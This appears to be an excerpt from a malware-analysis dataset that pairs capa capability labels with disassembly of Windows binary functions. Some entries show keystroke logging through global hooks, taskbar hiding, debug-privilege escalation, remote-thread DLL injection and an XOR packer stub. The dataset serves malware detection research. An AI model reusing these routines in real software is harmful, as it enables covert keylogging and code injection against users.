joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48fc28
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 2
jne 0x48fc4d
cmp dword [esp + 4], 5
jb 0x48fc4d
mov al, 1
jmp 0x48fc4f
xor eax, eax
add esp, 0x94
ret
Function at 0x4a0154
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebp
mov ebp, esp
cmp byte [ebp + 8], 1
jne 0x4a0173
push 0
push 0x4a0190
call sub.user32.dll_FindWindowA
push 0
push eax
call sub.user32.dll_ShowWindow
jmp 0x4a0187
push 0
push 0x4a0190
call sub.user32.dll_FindWindowA
push 5
push eax
call sub.user32.dll_ShowWindow
mov al, 1
pop ebp
ret 4

Function at 0x4a0208
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebx
cmp dword [0x4a8c60], 0
jne 0x4a0231
push 0
mov eax, dword [0x4a8668]
push eax
mov eax, 0x4a01a0
push eax
push 0xd
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4a8c60], eax
or ebx, 0xffffffff
jmp 0x4a0233
xor ebx, ebx
push 1
call fcn.004a0154
mov eax, ebx
pop ebx
ret

Function at 0x4a0708
Capabilities:
Acquire debug privileges

Disassembly:
add esp, 0xffffffe8
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x4a0758
lea eax, [esp + 0xc]
push eax
push 0x4a075c
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
lea eax, [esp + 4]
push eax
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
add esp, 0x18
ret

Function at 0x4a08ac
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404604
xor eax, eax
push ebp
push 0x4a092b
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0
push 2
push 0
push 1
push 0xc0000000
mov eax, dword [ebp - 4]
call fcn.00404614
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x4a0915
push 0
lea eax, [ebp - 8]
push eax
push 0x2400
push 0x4a4f54
push esi
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x4a090f
mov bl, 1
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a0932
lea eax, [ebp - 4]
call fcn.00404154
ret
Function at 0x4a09c0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, edx
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.004a093c
test eax, eax
jne 0x4a0a6e
mov ebp, esi
mov eax, ebx
call fcn.004a0770
mov ebx, eax
call fcn.004a0708
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov eax, 0x4a0a74
call fcn.00408ff0
mov edi, eax
inc edi
push 4
push 0x1000
push edi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
push esp
push edi
push ebp
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push esp
push 0
push esi
push 0x4a0a90
push 0x4a0aa0
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
test edi, edi
je 0x4a0a5a
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
push edi
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push esi
push ebx
call sub.kernel32.dll_VirtualFreeEx
push ebx
call sub.kernel32.dll_CloseHandle
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4a09eb
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, edx
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.004a093c
test eax, eax
jne 0x4a0a6e
mov ebp, esi
mov eax, ebx
call fcn.004a0770
mov ebx, eax
call fcn.004a0708
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov eax, 0x4a0a74
call fcn.00408ff0
mov edi, eax
inc edi
push 4
push 0x1000
push edi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
push esp
push edi
push ebp
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push esp
push 0
push esi
push 0x4a0a90
push 0x4a0aa0
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
test edi, edi
je 0x4a0a5a
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
push edi
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push esi
push ebx
call sub.kernel32.dll_VirtualFreeEx
push ebx
call sub.kernel32.dll_CloseHandle
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4a0ab0
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, edx
mov esi, eax
mov eax, esi
call fcn.004a0770
mov ebx, eax
call fcn.004a0708
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, edi
mov eax, esi
call fcn.004a093c
mov esi, eax
test esi, esi
je 0x4a0b18
push esp
push 0
push esi
push 0x4a0b24
push 0x4a0b30
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov esi, eax
push 0xffffffffffffffff
push esi
call sub.kernel32.dll_WaitForSingleObject
push esi
call sub.kernel32.dll_CloseHandle
push ebx
call sub.kernel32.dll_CloseHandle
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4a0b40
Capabilities:
Log keystrokes via application hook
Set global application hook

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x4a0bec
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004a07e0
mov edx, eax
lea eax, [ebp - 8]
call fcn.0040434c
push dword [ebp - 8]
push 0x4a0c00
push 0x4a0c0c
lea eax, [ebp - 4]
mov edx, 3
call fcn.004044d4
mov eax, dword [ebp - 4]
call fcn.004a08ac
mov edx, 0x4a0c28
mov eax, 0x4a0c44
call fcn.004a09c0
xor eax, eax
push ebp
push 0x4a0bca
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [0x4a8668]
push eax
push 0x4a0660
push 0xd
call sub.user32.dll_SetWindowsHookExW
mov dword [0x4a8cbc], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a0bd1
ret
Function at 0x4ac3b8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [edi + 0x2c]
push esi
mov esi, dword [edi + 0x3c]
sub esi, dword [edi + 0x74]
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x2c]
lea ecx, [ebx + ecx - 0x106]
sub esi, eax
cmp eax, ecx
jb 0x4ac43d
mov eax, dword [edi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.00486fe0
mov eax, dword [edi + 0x4c]
mov ecx, dword [edi + 0x44]
sub dword [edi + 0x70], ebx
sub dword [edi + 0x6c], ebx
add esp, 0xc
sub dword [edi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x4ac400
mov eax, dword [edi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x4ac422
add esi, ebx
mov eax, dword [edi]
cmp dword [eax + 4], 0
je 0x4ac498
mov ecx, dword [edi + 0x74]
add ecx, dword [edi + 0x6c]
push esi
add ecx, dword [edi + 0x38]
mov esi, eax
push ecx
call fcn.004ac108
add dword [edi + 0x74], eax
mov esi, dword [edi + 0x74]
cmp esi, 3
pop ecx
pop ecx
jb 0x4ac484
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [edi + 0x58]
mov dword [edi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [edi + 0x54]
mov dword [edi + 0x48], eax
cmp esi, 0x106
jae 0x4ac498
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x4ac3c1
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x23e81ff8
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x59d635c5
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401040
Capabilities:
Check if file exists
Create process on windows

Disassembly:
sub esp, 0x1d0
mov eax, dword [0x408030]
mov dword [esp + 0x1cc], eax
lea eax, [esp + 0x168]
push eax
lea ecx, [esp + 0x108]
push ecx
call dword [sym.imp.Key.dll_int___cdecl_ReadKey_char___char__]
add esp, 8
test eax, eax
je 0x4010dd
push edi
push 0x104
lea edx, [esp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea edi, [esp + 4]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401092
mov ecx, dword [str._tv4africaplayer.exe]
mov edx, dword [0x406178]
mov eax, dword [0x40617c]
mov dword [edi], ecx
mov ecx, dword [0x406180]
mov dword [edi + 4], edx
mov edx, dword [0x406184]
mov dword [edi + 8], eax
mov al, byte [0x406188]
mov dword [edi + 0xc], ecx
lea ecx, [esp + 4]
mov dword [edi + 0x10], edx
push ecx
mov byte [edi + 0x14], al
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
pop edi
jne 0x4010f2
xor eax, eax
mov ecx, dword [esp + 0x1cc]
call fcn.004014ea
add esp, 0x1d0
ret
push 5
push 0
push 0
lea edx, [esp + 0xc]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x1cc]
mov eax, 1
mov dword [0x408370], eax
call fcn.004014ea
add esp, 0x1d0
ret

Function at 0x4011b0
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push eax
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x408308
push 0x4082a0
push 0
mov dword [0x40836c], eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
test esi, esi
jne 0x4011ee
pop esi
ret
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
call fcn.00401040
mov eax, 1
pop esi
ret
Function at 0x40151d
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x4061a0
call fcn.004018a8
mov edi, 0x94
mov eax, edi
call fcn.004025b0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x408390], ecx
mov eax, dword [esi + 4]
mov dword [0x40839c], eax
mov edx, dword [esi + 8]
mov dword [0x4083a0], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x408394], esi
cmp ecx, 2
je 0x40157d
or esi, 0x8000
mov dword [0x408394], esi
shl eax, 8
add eax, edx
mov dword [0x408398], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x4015b8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4015b8
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4015d0
cmp eax, 0x20b
je 0x4015bd
mov dword [ebp - 0x1c], esi
jmp 0x4015e4
cmp dword [ecx + 0x84], 0xe
jbe 0x4015b8
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x4015de
cmp dword [ecx + 0x74], 0xe
jbe 0x4015b8
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.0040255a
pop ecx
test eax, eax
jne 0x401610
cmp dword [0x40837c], 1
jne 0x4015fd
call fcn.00401d0f
push 0x1c
call fcn.00401b98
push 0xff
call fcn.004019fd
pop ecx
pop ecx
call fcn.004024b8
mov dword [ebp - 4], esi
call fcn.0040230d
test eax, eax
jge 0x401629
push 0x1b
call fcn.004014f8
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x408914], eax
call fcn.004021eb
mov dword [0x408374], eax
call fcn.00402149
test eax, eax
jge 0x40164f
push 8
call fcn.004014f8
pop ecx
call fcn.00401f16
test eax, eax
jge 0x401660
push 9
call fcn.004014f8
pop ecx
push 1
call fcn.00401a2d
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x401676
push eax
call fcn.004014f8
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00401eb9
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x401697
movzx eax, word [ebp - 0x40]
jmp 0x40169a
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00401400
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x4016b8
push edi
call fcn.00401b58
call fcn.00401b7a
jmp 0x4016ea
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.004018e3
ret
Function at 0x401a97
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x4083d0], esi
push edi
jne 0x401ab7
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x4083cc], esi
mov byte [0x4083c8], al
jne 0x401b1d
mov ecx, dword [0x408908]
test ecx, ecx
je 0x401afe
mov eax, dword [0x408904]
sub eax, 4
cmp eax, ecx
jmp 0x401af7
mov eax, dword [eax]
test eax, eax
je 0x401ae9
call eax
mov eax, dword [0x408904]
sub eax, 4
cmp eax, dword [0x408908]
mov dword [0x408904], eax
jae 0x401ae1
mov eax, 0x40801c
mov esi, 0x408020
cmp eax, esi
mov edi, eax
jae 0x401b1d
mov eax, dword [edi]
test eax, eax
je 0x401b16
call eax
add edi, 4
cmp edi, esi
jb 0x401b0e
mov eax, 0x408024
mov esi, 0x408028
cmp eax, esi
mov edi, eax
jae 0x401b3c
mov eax, dword [edi]
test eax, eax
je 0x401b35
call eax
add edi, 4
cmp edi, esi
jb 0x401b2d
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x401b56
push dword [ebp + 8]
mov dword [0x4083d0], 1
call fcn.004019fd
pop ebp
ret

Function at 0x401b98
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x408030]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x408040]
je 0x401bcd
inc eax
cmp eax, 0x13
jb 0x401bbe
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x408040]
jne 0x401cf3
mov eax, dword [0x40837c]
cmp eax, 1
je 0x401ccb
cmp eax, edx
jne 0x401bfd
cmp dword [0x408038], 1
je 0x401ccb
cmp ecx, 0xfc
je 0x401cf3
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401c33
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.004026f0
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.00402920
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x401c67
mov eax, edi
push eax
call fcn.00402920
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x4061e4
push edi
call fcn.004027f0
add esp, 0x10
push edi
call fcn.00402920
push dword [esi + 0x408044]
mov ebx, eax
call fcn.00402920
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.004025b0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.004026f0
push edi
push ebx
call fcn.00402700
push 0x4061e0
push ebx
call fcn.00402700
push dword [esi + 0x408044]
push ebx
call fcn.00402700
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.004025ed
add esp, 0x2c
jmp 0x401cf3
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x408044]
push dword [esi]
call fcn.00402920
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.004014ea
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x4025ed
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x4084ec], ebx
push esi
push edi
jne 0x40266d
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4026a8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x4084ec], eax
je 0x4026a8
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x4084f0], eax
call esi
cmp dword [0x408390], 2
mov dword [0x4084f4], eax
jne 0x40266d
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x4084fc], eax
je 0x40266d
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x4084f8], eax
mov eax, dword [0x4084f8]
test eax, eax
je 0x4026b2
call eax
test eax, eax
je 0x402699
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x4084fc]
test eax, eax
je 0x402699
test byte [ebp - 8], 1
jne 0x4026b2
cmp dword [0x40839c], 4
jb 0x4026ac
or byte [ebp + 0x12], 0x20
jmp 0x4026d1
xor eax, eax
jmp 0x4026e1
or byte [ebp + 0x12], 4
jmp 0x4026d1
mov eax, dword [0x4084f0]
test eax, eax
je 0x4026d1
call eax
mov ebx, eax
test ebx, ebx
je 0x4026d1
mov eax, dword [0x4084f4]
test eax, eax
je 0x4026d1
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x4084ec]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402a9a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x402ac8
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x402acf
cmp ebx, dword [eax + 4]
jae 0x402acf
xor eax, eax
jmp 0x402cbf
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x402ae0
xor eax, eax
inc eax
jmp 0x402cbe
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x402af6
cmp ecx, edx
jae 0x402c3b
cmp dword [eax + 4], 0
je 0x402aff
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x402ae7
cmp dword [ebp + 8], 0
je 0x402b21
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x402c3b
cmp eax, esi
jae 0x402c3b
mov eax, dword [0x408500]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x402b46
cmp dword [esi*4 + 0x408508], edi
je 0x402c3f
inc esi
cmp esi, eax
jl 0x402b34
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x402cbb
cmp dword [ebp - 8], 0x1000000
jne 0x402cbb
test byte [ebp - 0xc], 0xcc
je 0x402bc4
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x402cbb
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x402cbb
cmp word [eax + 0x18], 0x10b
jne 0x402cbb
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x402cbb
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x402bc4
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x402bc4
test byte [ecx + 0x27], 0x80
jne 0x402c3b
push 1
push 0x408548
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x402ad8
mov ecx, dword [0x408500]
test ecx, ecx
mov edx, ecx
jle 0x402bf8
lea eax, [ecx*4 + 0x408504]
cmp dword [eax], edi
je 0x402bf8
dec edx
sub eax, 4
test edx, edx
jg 0x402bec
test edx, edx
jne 0x402c29
push 0xf
pop ebx
cmp ecx, ebx
jg 0x402c05
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x402c1d
lea eax, [edx*4 + 0x408508]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x402c0b
cmp ecx, 0x10
jge 0x402c29
inc ecx
mov dword [0x408500], ecx
push 0
push 0x408548
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x402ad8
xor eax, eax
jmp 0x402cbe
test esi, esi
jle 0x402ad8
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x408548
call ebx
test eax, eax
jne 0x402ad8
cmp dword [esi*4 + 0x408508], edi
je 0x402c95
mov eax, dword [0x408500]
lea esi, [eax - 1]
test esi, esi
jl 0x402c83
cmp dword [esi*4 + 0x408508], edi
je 0x402c7f
dec esi
jns 0x402c73
test esi, esi
jge 0x402c93
cmp eax, 0x10
jge 0x402c8e
inc eax
mov dword [0x408500], eax
lea esi, [eax - 1]
jmp 0x402c95
je 0x402cad
xor ecx, ecx
test esi, esi
jl 0x402cad
lea eax, [ecx*4 + 0x408508]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x402c9b
push 0
push 0x408548
call ebx
jmp 0x402ad8
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404dac
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.004025b0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x404e47
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x408390]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x404e47
cmp eax, 1
je 0x404e68
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x404e47
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x404e14
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x404e43
xor eax, eax
inc eax
jmp 0x404e87
cmp edi, eax
jae 0x404e4b
xor eax, eax
jmp 0x404e87
cmp eax, esi
jae 0x404e52
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x408390]
jmp 0x404e6b
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret